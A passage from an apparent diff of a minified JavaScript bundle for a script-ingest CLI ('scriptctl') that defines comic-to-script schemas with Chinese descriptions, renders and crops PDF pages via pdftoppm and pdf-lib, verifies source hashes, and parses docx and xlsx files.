state"),identity_profile:Ip,appearance:J.string(),role:J.string().describe("\u4EBA\u7269\u53EA\u5199\u5DF2\u786E\u8BA4\u7684\u8EAB\u4EFD\u79F0\u8C13\u4E0E\u5173\u7CFB\uFF1B\u5730\u70B9/\u9053\u5177\u5199\u7528\u9014"),states:J.array(Um),aliases:No}),q5=J.object({new_entities:J.array(Y5),enrich:J.array(J.object({name:nt,add_recognition_anchors:No.describe("\u586B\u7A7A\u6570\u7EC4"),identity_profile_patch:Ip,identity_revision:J.object({profile:Ip,recognition_anchors:No}).describe("\u65E2\u6709\u753B\u50CF\u6216\u951A\u70B9\u975E\u7A7A\u65F6\u63D0\u4F9B\u5168\u7A7A profile \u548C\u7A7A recognition_anchors\uFF1B\u6709\u8BC1\u636E\u7684\u4E8B\u5B9E\u8865\u5165\u9002\u7528 state\uFF0Crole \u5B8C\u6574\u7ED9\u51FA\u8EAB\u4EFD\u5173\u7CFB\uFF0C\u663E\u5F0F\u7A7A\u4E32\u6E05\u9664\u65E7 role").optional(),appearance:J.string(),role:J.string().describe("\u4EBA\u7269\u5DF2\u786E\u8BA4\u7684\u8EAB\u4EFD\u79F0\u8C13\u4E0E\u5173\u7CFB\uFF1B\u5730\u70B9/\u9053\u5177\u5199\u7528\u9014\u3002\u63D0\u4F9B identity_revision \u65F6\u586B\u5199\u5B8C\u6574\u8EAB\u4EFD\u5173\u7CFB\uFF0C\u7A7A\u4E32\u6E05\u9664\u65E7 role\uFF1B\u666E\u901A\u589E\u91CF\u65E0\u66F4\u65B0\u586B\u7A7A\u4E32"),add_aliases:No,add_states:J.array(Um)})),canonicalize:J.array(J.object({from_name:nt,canonical_name:nt,evidence:nt.describe("\u672C\u8BDD PDF \u9875\u7801\u548C\u76F4\u63A5\u51FA\u73B0\u7684\u59D3\u540D\u539F\u6587")}))}),Pm=J.array(J.number().int().min(1)).min(1).describe("1-based PDF \u7269\u7406\u9875\u7801\uFF1B\u8DE8\u9875\u753B\u683C\u6216\u540C\u4E00\u6C14\u6CE1\u586B\u5199\u76F8\u5173\u7684\u5168\u90E8\u9875\u7801\uFF1B\u540C\u4E00\u4E2A\u8DE8\u9875\u6C14\u6CE1\u5408\u4E3A\u4E00\u6761\u5B8C\u6574\u5BF9\u767D\uFF0C\u6309\u5347\u5E8F\u6392\u5217"),Cm="\u4EBA\u7269\u89C4\u8303\u540D\uFF1B\u5BA2\u89C2\u65C1\u767D\u7528 offscreen:\u65C1\u767D\uFF0C\u7CFB\u7EDF\u53D1\u58F0\u7528 system:\u7CFB\u7EDF\uFF0C\u7FA4\u4F53\u7528 group:\u79F0\u547C",Tm="\u4E25\u683C\u6309\u6F2B\u753B\u9605\u8BFB\u987A\u5E8F\u6392\u5217\uFF0C\u753B\u9762\u548C\u5BF9\u767D\u4EA4\u9519\uFF1B\u9010\u683C\u5B8C\u6574\u8F6C\u5199",Vm=J.object({type:J.enum(["dialogue","inner_thought"]),content:nt,pages:Pm,regions:ga,speaker:nt.describe(Cm),parenthetical:J.string()}),Z5=J.discriminatedUnion("type",[J.object({type:J.enum(["action","transition"]),content:nt,pages:Pm,regions:ga}),Vm]),$m=J.object({space:J.union([J.enum(["interior","exterior"]),Sp]),time:J.union([J.enum(["day","night","dawn","dusk"]),Sp]),location:J.string().describe("\u672C\u573A\u5730\u70B9\u7684\u89C4\u8303\u540D\uFF0C\u5FC5\u987B\u5DF2\u5728\u5DF2\u77E5\u8BBE\u5B9A\u6216\u672C\u6B21 registry_delta \u767B\u8BB0\uFF1B\u7A7A\u95F4\u65E0\u6CD5\u786E\u8BA4\u586B\u7A7A\u4E32"),characters:J.array(J.object({name:nt,states:No})),props:No,actions:J.array(Z5).min(1).describe(Tm)}),ha=J.object({registry_delta:q5,synopsis:nt,scenes:J.array($m).min(1),open_threads:J.object({opened:J.array(J.object({text:nt})),closed:J.array(J.object({ref:nt}))}),ignored_pages:J.array(J.object({page:J.number().int().min(1),reason:nt.describe("\u53EA\u7528\u4E8E\u6574\u9875\u7A7A\u767D\u3001\u5C01\u9762\u6216\u5236\u4F5C\u4FE1\u606F\uFF1B\u542B\u5267\u60C5\u6216\u53F0\u8BCD\u7684\u9875\u9762\u5FC5\u987B\u8F6C\u5199")}))}),Dm=ha.extend({scenes:J.array($m.extend({actions:J.array(Vm.extend({type:J.enum(["action","transition","dialogue","inner_thought"]),speaker:J.string().describe(`${Cm}\uFF1Baction/transition \u586B\u7A7A\u4E32`)})).min(1).describe(Tm)})).min(1)});import*as Oe from"node:fs";import*as St from"node:path";import{spawn as W5}from"node:child_process";import{createHash as X5}from"node:crypto";import{PDFDocument as Gm}from"pdf-lib";var Ap=1200;function Bm(e,t){return new Promise((n,o)=>{let i=W5("pdftoppm",["-cropbox","-scale-to-x",String(Ap),"-scale-to-y","-1","-jpeg","-jpegopt","quality=92",e,t],{stdio:["ignore","ignore","pipe"]}),r="";i.stderr.on("data",s=>{r+=String(s)}),i.on("error",s=>o(new S(`Cannot render comic pages: ${s.message}`,{exitCode:b,errorCode:"VIEW_PDF_RENDER_FAILED",hint:"Install Poppler (pdftoppm), then rerun scriptctl view."}))),i.on("close",s=>{s===0?n():o(new S(`PDF page rendering failed: ${r.trim()}`,{exitCode:b,errorCode:"VIEW_PDF_RENDER_FAILED",data:{actual:[e]}}))})})}async function ya(e,t){let n=`review-pages/cropbox-w${Ap}-q92/${e.sha256}`,o=St.join(t,n),i=String(e.page_count).length,r=Array.from({length:e.page_count},(s,c)=>`page-${String(c+1).padStart(i,"0")}.jpg`);if(!r.every(s=>Oe.existsSync(St.join(o,s)))){let s=`${o}.part`;Oe.rmSync(s,{recursive:!0,force:!0}),Oe.mkdirSync(s,{recursive:!0}),process.stderr.write(`\u6E32\u67D3\u6F2B\u753B\u539F\u9875 \xB7 ${e.title} \xB7 ${e.page_count} \u9875
210
+ `),await Bm(e.path,St.join(s,"page"));for(let c of r)if(!Oe.existsSync(St.join(s,c))||Oe.statSync(St.join(s,c)).size===0)throw new S(`PDF renderer did not produce ${c}.`,{exitCode:b,errorCode:"VIEW_PDF_RENDER_FAILED"});Oe.rmSync(o,{recursive:!0,force:!0}),Oe.renameSync(s,o)}return r.map(s=>`${n}/${s}`)}async function Jm(e,t,n){ma.parse(t);let o=Zr([t.page],[t]);if(t.page>e.page_count||o.length)throw new Error(`Invalid comic region: ${o.join("; ")}`);let i=X5("sha256").update(JSON.stringify(t)).digest("hex"),r=`review-pages/cropbox-w${Ap}-q92/${e.sha256}/regions/${i}.jpg`,s=St.join(n,r);if(Oe.existsSync(s)&&Oe.statSync(s).size>0)return r;let c=await Gm.load(Oe.readFileSync(e.path)),a=await Gm.create(),[d]=await a.copyPages(c,[t.page-1]),p=d.getCropBox(),l=(d.getRotation().angle%360+360)%360,{left:f,right:u,top:y,bottom:m}=t.box,g=f/1e3,w=u/1e3,h=y/1e3,_=m/1e3,x=l===90?[h,g,_,w]:l===180?[1-w,h,1-g,_]:l===270?[1-_,1-w,1-h,1-g]:[g,1-_,w,1-h];d.setCropBox(p.x+x[0]*p.width,p.y+x[1]*p.height,(x[2]-x[0])*p.width,(x[3]-x[1])*p.height),a.addPage(d),Oe.mkdirSync(St.dirname(s),{recursive:!0});let E=Oe.mkdtempSync(St.join(St.dirname(s),".region-"));try{let A=St.join(E,"crop.pdf");Oe.writeFileSync(A,await a.save()),await Bm(A,St.join(E,"page")),Oe.renameSync(St.join(E,"page-1.jpg"),s)}finally{Oe.rmSync(E,{recursive:!0,force:!0})}return r}var eS=ot.object({episode:ot.number().int().positive(),document_id:ot.string().min(1),source_number:ot.number().nullable(),title:ot.string(),path:ot.string(),sha256:ot.string(),page_count:ot.number().int().positive(),size_bytes:ot.number()}),tS=ot.object({source:ot.object({kind:ot.enum(["comic-file","comic-directory"])}),episodes:ot.array(eS)});function tn(e){throw new S(e,{exitCode:b,errorCode:"REVIEW_COMIC_SOURCE_INVALID",hint:"Pass -s to the comic ingest workspace, or to its original PDF files with manifest.json beside script.json. Keep the original source PDFs unchanged."})}function nS(e){let t=it.join(e,"manifest.json");if(!rt.existsSync(t))return!1;let n=ot.object({source:ot.object({kind:ot.string()}).optional()}).parse(JSON.parse(rt.readFileSync(t,"utf8")));return n.source?.kind==="comic-file"||n.source?.kind==="comic-directory"}async function jm(e,t,n){let o=rt.statSync(e).isDirectory()&&nS(e)?it.resolve(e):it.dirname(it.resolve(t)),i=it.join(o,"manifest.json");rt.existsSync(i)||tn("Comic review needs the ingest manifest to verify source identity.");let r=tS.safeParse(JSON.parse(rt.readFileSync(i,"utf8")));r.success||tn(`Invalid comic manifest: ${r.error.message}`);let s=r.data,c=Mo(JSON.parse(rt.readFileSync(t,"utf8")));c.version!==4&&tn("Comic source review requires the ingested Script v4.");let a=c.episodes.filter(w=>!n?.length||n.includes(w.no));a.length||tn("No selected episodes exist in this script.");let d=it.resolve(e)===o?void 0:rt.statSync(e).isFile()?[it.resolve(e)]:rt.readdirSync(e).filter(w=>/\.pdf$/i.test(w)).map(w=>it.resolve(e,w)),p=new Map;for(let w of d??[])p.set(Km("sha256").update(rt.readFileSync(w)).digest("hex"),w);let l=new Map,f=[];for(let w of a){let h=new Set(w.scenes.flatMap(_=>_.actions.flatMap(x=>{let E=li.safeParse(x.raw.extend);return E.success?[E.data.scriptctl.source.document_id]:[]})));h.size||tn(`Episode ${w.no} has no comic document identity; cannot safely match an original PDF.`);for(let _ of h){let x=s.episodes.find(N=>N.document_id===_);x||tn(`Unknown comic document: ${_}`),f.some(N=>N.document_id===_&&N.episode!==w.no)&&tn(`Comic document ${_} is bound to multiple script episodes.`);let E=d?p.get(x.sha256):it.resolve(o,x.path);(!E||!rt.existsSync(E))&&tn(`Original PDF missing or changed: ${x.title}`),Km("sha256").update(rt.readFileSync(E)).digest("hex")!==x.sha256&&tn(`Original PDF content changed: ${x.title}`);let k={...x,path:E};l.set(_,k),f.push({document_id:_,episode:w.no,title:x.title,page_count:x.page_count})}}let u=new Map,y=it.dirname(it.resolve(t));function m(w){let h=l.get(w);return h||tn(`Comic document not available: ${w}`)}function g(w,h){return{path:w,label:h,data:rt.readFileSync(w).toString("base64")}}return{documents:f,async page(w,h){let _=m(w);(!Number.isInteger(h)||h<1||h>_.page_count)&&tn(`Invalid page ${h} in ${w}.`);let x=u.get(w);x||(x=ya(_,y),u.set(w,x));let E=await x;return g(it.join(y,E[h-1]),`${w} \u7B2C ${h} \u9875\u6982\u89C8\uFF1B\u6587\u5B57\u4E0D\u6E05\u65F6\u7528 region \u653E\u5927`)},async region(w,h){let _=await Jm(m(w),h,y);return g(it.join(y,_),`${w} \u7B2C ${h.page} \u9875 ${JSON.stringify(h.box)}`)}}}import*as vn from"node:fs";import*as Xr from"node:path";import{z as Op}from"zod";import*as Xi from"node:fs";import*as Wi from"node:path";var bp=[".txt",".md",".docx"],vp={".mp4":"video/mp4",".mov":"video/mov",".avi":"video/avi",".mpeg":"video/mpeg",".mpg":"video/mpg",".webm":"video/webm",".flv":"video/x-flv",".wmv":"video/wmv"},Wr=class extends Error{constructor(n){super(`Unsupported input: ${n}`);this.received=n}received};function kp(e){return Wi.extname(e).toLowerCase()}function zm(e){return Object.hasOwn(vp,e)}function bn(e){if(Xi.statSync(e).isDirectory()){let o=Xi.readdirSync(e).filter(r=>!r.startsWith(".")&&kp(r)===".pdf"&&Xi.statSync(Wi.join(e,r)).isFile()).sort().map(r=>Wi.join(e,r)),i=Xi.readdirSync(e).filter(r=>!r.startsWith(".")).filter(r=>zm(kp(r))).sort().map(r=>Wi.join(e,r));if(o.length&&i.length)throw new Wr("directory mixes PDF comics and video episodes; use a directory with one source kind");if(o.length)return{kind:"comic-directory",path:e,files:o};if(i.length===0)throw new Wr(`directory has no supported video or PDF files: ${e}`);return{kind:"video-directory",path:e,files:i}}let n=kp(e);if(n===".pdf")return{kind:"comic-file",path:e,ext:n};if(bp.includes(n))return{kind:"text",path:e,ext:n};if(zm(n))return{kind:"video-file",path:e,ext:n};throw new Wr(`file extension ${n||"(none)"} is not supported by ingest (txt/md/docx/video/pdf only)`)}var Hm=/\.(mp4|mov|mkv|m4v|webm|avi|mpeg|mpg|flv|wmv)$/i;function Qm(e,t=!1){if(t)return"video";if(!e)return"script";if(!vn.existsSync(e))throw new S("Review source not found.",{exitCode:b,errorCode:"REVIEW_SOURCE_NOT_FOUND",hint:"Pass an existing original source or ingest workspace, or omit -s for script-only review."});if(vn.statSync(e).isFile()){if(/\.pdf$/i.test(e))return"comic";if(bp.some(n=>Xr.extname(e).toLowerCase()===n))return"text";if(Hm.test(e))return"video"}else{let n=vn.readdirSync(e).filter(s=>!s.startsWith(".")&&vn.statSync(Xr.join(e,s)).isFile()),o=n.some(s=>/\.pdf$/i.test(s)),i=n.some(s=>Hm.test(s));if(o&&i)throw new S("Review source mixes PDF and video files.",{exitCode:b,errorCode:"REVIEW_SOURCE_AMBIGUOUS",hint:"Use a source directory containing only one media kind."});if(i)return"video";if(o)return"comic";let r=Xr.join(e,"manifest.json");if(vn.existsSync(r)){let s=Op.object({source:Op.object({kind:Op.string()})}).parse(JSON.parse(vn.readFileSync(r,"utf8")));if(s.source.kind==="text")return"text";if(["comic-file","comic-directory"].includes(s.source.kind))return"comic"}}throw new S("Unsupported review source.",{exitCode:b,errorCode:"REVIEW_SOURCE_UNSUPPORTED",hint:"Use a text/comic ingest workspace, original txt/md/docx/PDF, a video file or a directory of videos."})}import*as Wn from"node:fs";import*as jt from"node:path";import{z as qe}from"zod";import{z as qn}from"zod";var oS=qn.object({start_line:qn.number().int().positive(),end_line:qn.number().int().positive()}),Rp=qn.object({kind:qn.literal("text"),document_id:qn.string().min(1),ranges:qn.array(oS).min(1).describe("\u5B8C\u6574\u89C4\u8303\u5316\u539F\u6587\u7684 1-based \u95ED\u533A\u95F4\uFF1B\u53EF\u4EE5\u662F\u5305\u542B\u76F8\u90BB\u5185\u5BB9\u7684\u5019\u9009\u7A97\u53E3\uFF0C\u9700\u8BFB\u53D6\u539F\u6587\u786E\u8BA4\u5BF9\u5E94\u5173\u7CFB")}),BL=qn.object({scriptctl:qn.object({source:Rp})});function wa(e){return`text-${e}`}import*as tg from"node:fs";import*as Fm from"node:fs";import Ym from"jszip";import{XMLParser as sS}from"fast-xml-parser";function qm(e){return e==null?"":String(e)}function Jt(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function Le(e){return Array.isArray(e)}function Zm(e){if(e.length===0)return"";let t=[],n="";for(let o=1;o<e.length;o++){let i=e[o];if(i.filter(p=>p).length===0)continue;let s=i[0]??"";if(s.includes("\u{1F3AC}")||/第\s*\d+\s*集/.test(s)){t.push(`
211
211
  ${s}`);continue}let c=i.length>1?i[1]??"":"";c||(c=n),n=c;let a=[];s&&a.push(`${s}.`);let d=i.slice(2).filter(p=>p);c&&d.length>0?a.push(`${c}\uFF0C${d.join(" ")}`):c?a.push(c):a.push(...d),t.push(a.join(" "))}return t.join(`
212
- `)}function nr(e,t){let n=e[":@"];return Jt(n)?Zm(n[t]).trim():""}function Ea(e,t){for(let[n,o]of Object.entries(e))if(Wn(n)===t&&Le(o))return o;return null}function xa(e){let t=[],n=o=>{if(Le(o)){for(let i of o)if(Jt(i))for(let[r,s]of Object.entries(i))r==="#text"&&s!==null&&s!==void 0?t.push(Zm(s)):r!==":@"&&Le(s)&&n(s)}};return n(e),t.join("")}function Sa(e){let t=Xm.parse(e);if(!Le(t))throw new Error("xlsx xml part has an unexpected shape");return t}function Po(e,t){let n=[],o=i=>{let r=Le(i)?i.filter(Jt):Jt(i)?[i]:[];for(let s of r)for(let[c,a]of Object.entries(s))Wn(c)===t&&Le(a)&&n.push(s),Le(a)&&o(a)};return o(e),n}function aS(e){let t=/^[A-Z]+/i.exec(e.trim());if(!t)return null;let n=0;for(let o of t[0].toUpperCase())n=n*26+o.charCodeAt(0)-64;return n-1}function cS(e,t){let o=(t.startsWith("/")?t.slice(1):`${e}/${t}`).split("/"),i=[];for(let r of o)!r||r==="."||(r===".."?i.pop():i.push(r));return i.join("/")}async function Ia(e,t){let n=e.file(t);return n?n.async("string"):null}async function dS(e){let t=await Ia(e,"xl/sharedStrings.xml");if(!t)return[];let n=Sa(t),o=[];for(let i of Po(n,"si"))o.push(xa(Ea(i,"si")??[]));return o}async function pS(e){let t=await Ia(e,"xl/workbook.xml"),n=await Ia(e,"xl/_rels/workbook.xml.rels");if(!t||!n)throw new Error("xlsx missing workbook metadata");let o=new Map;for(let r of Po(Sa(n),"Relationship")){let s=nr(r,"@_Id"),c=nr(r,"@_Target");s&&c&&o.set(s,cS("xl",c))}let i=[];for(let r of Po(Sa(t),"sheet")){let s=nr(r,"@_name"),c=nr(r,"@_r:id"),a=o.get(c);s&&a&&i.push({name:s,path:a})}if(i.length===0)throw new Error("xlsx workbook contains no readable sheets");return i}function lS(e,t){let n=nr(e,"@_t");if(n==="inlineStr"){let s=Po(e,"is")[0],c=s?Ea(s,"is"):null;return c?xa(c).trim():""}let o=Po(e,"v")[0],i=o?Ea(o,"v"):null,r=i?xa(i).trim():"";if(!r&&n==="str"){let s=Po(e,"is")[0],c=s?Ea(s,"is"):null;return c?xa(c).trim():""}if(n==="s"){let s=Number.parseInt(r,10);return Number.isInteger(s)?(t[s]??"").trim():""}return n==="b"?r==="1"?"TRUE":r==="0"?"FALSE":r:r}async function uS(e){let t=await qm.loadAsync(e),[n,o]=await Promise.all([dS(t),pS(t)]),i=[];for(let r of o){let s=await Ia(t,r.path);if(!s)throw new Error(`xlsx missing worksheet part: ${r.path}`);let c=[];for(let a of Po(Sa(s),"row")){let d=[];for(let p of Po(a,"c")){let l=nr(p,"@_r"),f=l?aS(l):null,u=lS(p,n),y=f??d.length;for(;d.length<y;)d.push("");d[y]=u.trim()}d.some(p=>p)&&c.push(d)}i.push({name:r.name,rows:c})}return i}var Xm=new sS({ignoreAttributes:!1,attributeNamePrefix:"@_",preserveOrder:!0,trimValues:!1,textNodeName:"#text"});function Wn(e){let t=e.indexOf(":");return t>=0?e.slice(t+1):e}function Lp(e){let t=[];function n(o){if(Le(o)){for(let i of o)if(Jt(i))for(let[r,s]of Object.entries(i)){if(r===":@"||r==="#text"&&typeof s=="string")continue;let c=Wn(r);if(c==="t"){if(Le(s)){for(let a of s)if(Jt(a)){let d=a["#text"];typeof d=="string"&&t.push(d)}}}else c==="tab"?t.push(" "):c==="br"||c==="cr"?t.push(`
213
- `):Le(s)&&n(s)}}}return n(e),t.join("").trim()}function fS(e){let t=[];for(let n of e)if(Jt(n))for(let[o,i]of Object.entries(n)){if(Wn(o)!=="tr")continue;let r=[];if(Le(i)){for(let s of i)if(Jt(s)){for(let[c,a]of Object.entries(s))if(Wn(c)==="tc"&&Le(a)){let d=[],p=l=>{if(Le(l)){for(let f of l)if(Jt(f))for(let[u,y]of Object.entries(f))if(Wn(u)==="p"&&Le(y)){let m=Lp(y);m&&d.push(m)}else Le(y)&&p(y)}};p(a),r.push(d.join(" ").trim())}}}r.some(s=>s)&&t.push(r)}return Wm(t)}async function mS(e){let t=[],n=[];e.forEach(i=>{i.includes("embeddings")&&i.endsWith(".xlsx")&&n.push(i)}),n.sort();let o=0;for(let i of n){o+=1;let r=e.file(i);if(!r)continue;let s=await r.async("nodebuffer"),c=await uS(s);for(let a of c)a.rows.length>0&&t.push([`Embedded Sheet ${o}: ${a.name}`,Wm(a.rows)])}return t}async function eg(e){let t;try{t=await qm.loadAsync(Ym.readFileSync(e))}catch{throw new Error("source is not a valid docx zip file")}let n=t.file("word/document.xml");if(!n)throw new Error("docx missing word/document.xml");let o=await n.async("string"),i=Xm.parse(o),r=null,s=d=>{if(Le(d)){for(let p of d)if(Jt(p))for(let[l,f]of Object.entries(p)){if(Wn(l)==="body"&&Le(f)){r=f;return}Le(f)&&s(f)}}};s(i);let c=[];if(r===null){let d=p=>{if(Le(p)){for(let l of p)if(Jt(l))for(let[f,u]of Object.entries(l))if(Wn(f)==="p"&&Le(u)){let y=Lp(u);y&&c.push(y)}else Le(u)&&d(u)}};d(i)}else for(let d of r)if(Jt(d))for(let[p,l]of Object.entries(d)){if(p.startsWith("@_")||p===":@"||p==="#text"||!Le(l))continue;let f=Wn(p);if(f==="p"){let u=Lp(l);u&&c.push(u)}else if(f==="tbl"){let u=fS(l);u&&c.push(u)}}let a=await mS(t);for(let[d,p]of a)c.push(`
212
+ `)}function er(e,t){let n=e[":@"];return Jt(n)?qm(n[t]).trim():""}function _a(e,t){for(let[n,o]of Object.entries(e))if(Zn(n)===t&&Le(o))return o;return null}function Ea(e){let t=[],n=o=>{if(Le(o)){for(let i of o)if(Jt(i))for(let[r,s]of Object.entries(i))r==="#text"&&s!==null&&s!==void 0?t.push(qm(s)):r!==":@"&&Le(s)&&n(s)}};return n(e),t.join("")}function xa(e){let t=Wm.parse(e);if(!Le(t))throw new Error("xlsx xml part has an unexpected shape");return t}function Uo(e,t){let n=[],o=i=>{let r=Le(i)?i.filter(Jt):Jt(i)?[i]:[];for(let s of r)for(let[c,a]of Object.entries(s))Zn(c)===t&&Le(a)&&n.push(s),Le(a)&&o(a)};return o(e),n}function aS(e){let t=/^[A-Z]+/i.exec(e.trim());if(!t)return null;let n=0;for(let o of t[0].toUpperCase())n=n*26+o.charCodeAt(0)-64;return n-1}function cS(e,t){let o=(t.startsWith("/")?t.slice(1):`${e}/${t}`).split("/"),i=[];for(let r of o)!r||r==="."||(r===".."?i.pop():i.push(r));return i.join("/")}async function Sa(e,t){let n=e.file(t);return n?n.async("string"):null}async function dS(e){let t=await Sa(e,"xl/sharedStrings.xml");if(!t)return[];let n=xa(t),o=[];for(let i of Uo(n,"si"))o.push(Ea(_a(i,"si")??[]));return o}async function pS(e){let t=await Sa(e,"xl/workbook.xml"),n=await Sa(e,"xl/_rels/workbook.xml.rels");if(!t||!n)throw new Error("xlsx missing workbook metadata");let o=new Map;for(let r of Uo(xa(n),"Relationship")){let s=er(r,"@_Id"),c=er(r,"@_Target");s&&c&&o.set(s,cS("xl",c))}let i=[];for(let r of Uo(xa(t),"sheet")){let s=er(r,"@_name"),c=er(r,"@_r:id"),a=o.get(c);s&&a&&i.push({name:s,path:a})}if(i.length===0)throw new Error("xlsx workbook contains no readable sheets");return i}function lS(e,t){let n=er(e,"@_t");if(n==="inlineStr"){let s=Uo(e,"is")[0],c=s?_a(s,"is"):null;return c?Ea(c).trim():""}let o=Uo(e,"v")[0],i=o?_a(o,"v"):null,r=i?Ea(i).trim():"";if(!r&&n==="str"){let s=Uo(e,"is")[0],c=s?_a(s,"is"):null;return c?Ea(c).trim():""}if(n==="s"){let s=Number.parseInt(r,10);return Number.isInteger(s)?(t[s]??"").trim():""}return n==="b"?r==="1"?"TRUE":r==="0"?"FALSE":r:r}async function uS(e){let t=await Ym.loadAsync(e),[n,o]=await Promise.all([dS(t),pS(t)]),i=[];for(let r of o){let s=await Sa(t,r.path);if(!s)throw new Error(`xlsx missing worksheet part: ${r.path}`);let c=[];for(let a of Uo(xa(s),"row")){let d=[];for(let p of Uo(a,"c")){let l=er(p,"@_r"),f=l?aS(l):null,u=lS(p,n),y=f??d.length;for(;d.length<y;)d.push("");d[y]=u.trim()}d.some(p=>p)&&c.push(d)}i.push({name:r.name,rows:c})}return i}var Wm=new sS({ignoreAttributes:!1,attributeNamePrefix:"@_",preserveOrder:!0,trimValues:!1,textNodeName:"#text"});function Zn(e){let t=e.indexOf(":");return t>=0?e.slice(t+1):e}function Mp(e){let t=[];function n(o){if(Le(o)){for(let i of o)if(Jt(i))for(let[r,s]of Object.entries(i)){if(r===":@"||r==="#text"&&typeof s=="string")continue;let c=Zn(r);if(c==="t"){if(Le(s)){for(let a of s)if(Jt(a)){let d=a["#text"];typeof d=="string"&&t.push(d)}}}else c==="tab"?t.push(" "):c==="br"||c==="cr"?t.push(`
213
+ `):Le(s)&&n(s)}}}return n(e),t.join("").trim()}function fS(e){let t=[];for(let n of e)if(Jt(n))for(let[o,i]of Object.entries(n)){if(Zn(o)!=="tr")continue;let r=[];if(Le(i)){for(let s of i)if(Jt(s)){for(let[c,a]of Object.entries(s))if(Zn(c)==="tc"&&Le(a)){let d=[],p=l=>{if(Le(l)){for(let f of l)if(Jt(f))for(let[u,y]of Object.entries(f))if(Zn(u)==="p"&&Le(y)){let m=Mp(y);m&&d.push(m)}else Le(y)&&p(y)}};p(a),r.push(d.join(" ").trim())}}}r.some(s=>s)&&t.push(r)}return Zm(t)}async function mS(e){let t=[],n=[];e.forEach(i=>{i.includes("embeddings")&&i.endsWith(".xlsx")&&n.push(i)}),n.sort();let o=0;for(let i of n){o+=1;let r=e.file(i);if(!r)continue;let s=await r.async("nodebuffer"),c=await uS(s);for(let a of c)a.rows.length>0&&t.push([`Embedded Sheet ${o}: ${a.name}`,Zm(a.rows)])}return t}async function Xm(e){let t;try{t=await Ym.loadAsync(Fm.readFileSync(e))}catch{throw new Error("source is not a valid docx zip file")}let n=t.file("word/document.xml");if(!n)throw new Error("docx missing word/document.xml");let o=await n.async("string"),i=Wm.parse(o),r=null,s=d=>{if(Le(d)){for(let p of d)if(Jt(p))for(let[l,f]of Object.entries(p)){if(Zn(l)==="body"&&Le(f)){r=f;return}Le(f)&&s(f)}}};s(i);let c=[];if(r===null){let d=p=>{if(Le(p)){for(let l of p)if(Jt(l))for(let[f,u]of Object.entries(l))if(Zn(f)==="p"&&Le(u)){let y=Mp(u);y&&c.push(y)}else Le(u)&&d(u)}};d(i)}else for(let d of r)if(Jt(d))for(let[p,l]of Object.entries(d)){if(p.startsWith("@_")||p===":@"||p==="#text"||!Le(l))continue;let f=Zn(p);if(f==="p"){let u=Mp(l);u&&c.push(u)}else if(f==="tbl"){let u=fS(l);u&&c.push(u)}}let a=await mS(t);for(let[d,p]of a)c.push(`
214
214
  ## ${d}
215
215
  `),c.push(p);return[c.join(`
216
216
 
217
- `),a.length>0]}var Np=class extends Error{};function tg(e){return e.replace(/^/,"").replace(/\r\n?/g,`
218
- `)}function gS(e){try{return new TextDecoder("utf-8",{fatal:!0}).decode(e)}catch{throw new Np("source is not valid UTF-8")}}async function Aa(e,t){if(t===".docx"){let[n]=await eg(e);return tg(n)}return tg(gS(ng.readFileSync(e)))}import{z as ka}from"zod";function Up(e,t){let n=/^text:[^:]+:\d+:(\d+):(\d+):\d+$/.exec(e);if(!n)throw new Error(`Invalid text ingest identity: ${e}`);let o=Number(n[1]),i=Number(n[2]);if(o>=i)throw new Error(`Empty text ingest window: ${e}`);return{start_line:t+o+1,end_line:t+i}}function Pp(e,t,n){return{kind:"text",document_id:t,ranges:[Up(e,n)]}}function og(e,t,n){for(let o of e.episodes)for(let i of o.scenes)for(let r of i.actions){let s=ka.object({scriptctl:ka.record(ka.string(),ka.json()).optional()}).parse(r.extend??{});r.extend={...r.extend,scriptctl:{...s.scriptctl,source:Pp(r.identity_key,t,n)}}}}var hS=qe.object({source:qe.object({kind:qe.literal("text"),sha256:qe.string().length(64),path:qe.string()})}),yS=qe.object({version:qe.literal(3),episode:qe.record(qe.string(),qe.string()),action:qe.record(qe.string(),qe.string())});function Kt(e){throw new S(e,{exitCode:b,errorCode:"REVIEW_TEXT_SOURCE_INVALID",hint:"Pass -s to the text ingest workspace, or its original txt/md/docx with the ingest workspace beside script.json. Keep pass1/source.txt, body_start.json and v4_identity_map.json."})}async function ig(e,t,n){let o=Xn.statSync(e).isDirectory(),i=o?jt.resolve(e):jt.dirname(jt.resolve(t)),r=h=>{let _=jt.join(i,h);return Xn.existsSync(_)||Kt(`Text ingest artifact missing: ${_}`),JSON.parse(Xn.readFileSync(_,"utf8"))},s=hS.parse(r("manifest.json")),c=jt.join(i,"pass1/source.txt");Xn.existsSync(c)||Kt("Text review requires the normalized original source snapshot.");let a=Xn.readFileSync(c,"utf8");if(_e(a)!==s.source.sha256&&Kt("The original text snapshot has changed since ingest."),!o){let h=await Aa(e,jt.extname(e).toLowerCase());_e(h)!==s.source.sha256&&Kt("The supplied text does not match this ingest source.")}let d=a.split(`
219
- `),{line:p}=qe.object({line:qe.number().int().nonnegative()}).parse(r("pass1/body_start.json"));p>=d.length&&Kt("Text body start is outside the source snapshot.");let l=yS.parse(r("v4_identity_map.json")),f=Lo(JSON.parse(Xn.readFileSync(t,"utf8")));f.version!==4&&Kt("Text source review requires the ingested Script v4.");let u=_a(s.source.sha256),y=Object.entries(l.episode).map(([h,_])=>({id:_,...Up(h,p)})).sort((h,_)=>h.start_line-_.start_line);y.some(h=>h.end_line>d.length)&&Kt("An episode's ingest window is outside the original source.");let m=f.episodes.filter(h=>!n?.length||n.includes(h.no)).map(h=>{let _=y.filter(A=>A.id===h.id);_.length!==1&&Kt(`Episode ${h.no} has no unambiguous text source identity.`);let x=_[0],E=y[y.indexOf(x)+1];return{episode:h.no,start_line:y.indexOf(x)===0?p+1:x.start_line,end_line:E?E.end_line:d.length}});m.length||Kt("No selected episodes exist in this script.");let g=new Map,w=new Map(Object.entries(l.action).map(([h,_])=>[_,Pp(h,u,p)]));for(let h of bn(f)){if(!m.some(E=>E.episode===h.scene.ep.no))continue;let _=qe.object({scriptctl:qe.object({source:Mp.optional()}).optional()}).safeParse(h.raw.extend??{});_.success||Kt(`Invalid text source metadata on ${h.anchor}.`);let x=_.data.scriptctl?.source??w.get(h.anchor);x&&(x.document_id!==u&&Kt(`Action ${h.anchor} belongs to a different text document.`),x.ranges.some(E=>E.start_line>E.end_line||E.end_line>d.length)&&Kt(`Invalid source lines on ${h.anchor}.`),g.set(h.anchor,x))}return{document_id:u,title:jt.basename(s.source.path),path:c,lines:d,episodes:m,references:g}}var sg="review-agent",ES=["minimal","low","medium","high"];function ba(e,t){let n=t||sg,o=e.models[n];if(!o)throw new S(`LLM profile "${n}" is not 